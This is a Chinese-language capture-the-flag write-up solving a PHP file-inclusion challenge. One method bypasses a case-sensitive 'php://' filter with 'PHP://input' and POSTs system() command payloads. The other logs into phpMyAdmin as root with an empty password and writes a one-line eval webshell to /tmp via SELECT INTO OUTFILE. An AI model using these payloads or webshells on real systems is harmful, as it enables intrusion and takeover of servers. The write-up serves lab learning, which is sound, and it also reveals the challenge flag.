Web_php_include

方法一(正常方法)

打开地址,发现一段 php 代码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

看起来是要用到strstr()str_replace()php://
查找资料得知

strstr()                  用来比较两个值是否是包含关系
比如strstr($d1,$d2)就是比较$d1是否是$d2的子串

str_replace()             会把值进行替换
比如str_replace("1","2",$d1)就是把$d1中所有的1,替换为2

php://                    是一种执行命令,例如php://input可以写入信息

去查了 strstr()的相关信息

注释:该函数对大小写敏感。如需进行大小写不敏感的搜索,请使用 stristr()。
对大小写敏感好办,直接大写绕过就行啦

?page=PHP://input

然后使用POST传入命令:
<?php system("ls")?>

查询到flag在fl4gisisish3r3.php,再使用cat命令读取文件:
<?php system("cat fl4gisisish3r3.php")?>

flag 就在注释里

方法二(粗暴方法)

使用御剑直接扫,扫出来 phpmyadmin 可以直接进,账号为 root,密码为空
参考->这个
得知secure_file_priv对读写有限制
查看secure_file_priv的值:

show global variables like '%secure%';
Variable_name        Value
secure_auth          OFF
secure_file_priv

得到secure_file_priv的值为空,即可以写入文件
写入一句话木马到tmp目录:

SELECT "<?php eval(@$_POST['a']); ?>"
INTO OUTFILE '/tmp/demo.php'

使用菜刀连接:

url:
http://xxx.xxx.xxx.xxx:xxxx/?page=../../tmp/demo.php
密码:
a

查看得到 flag:

<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>

kamuXiY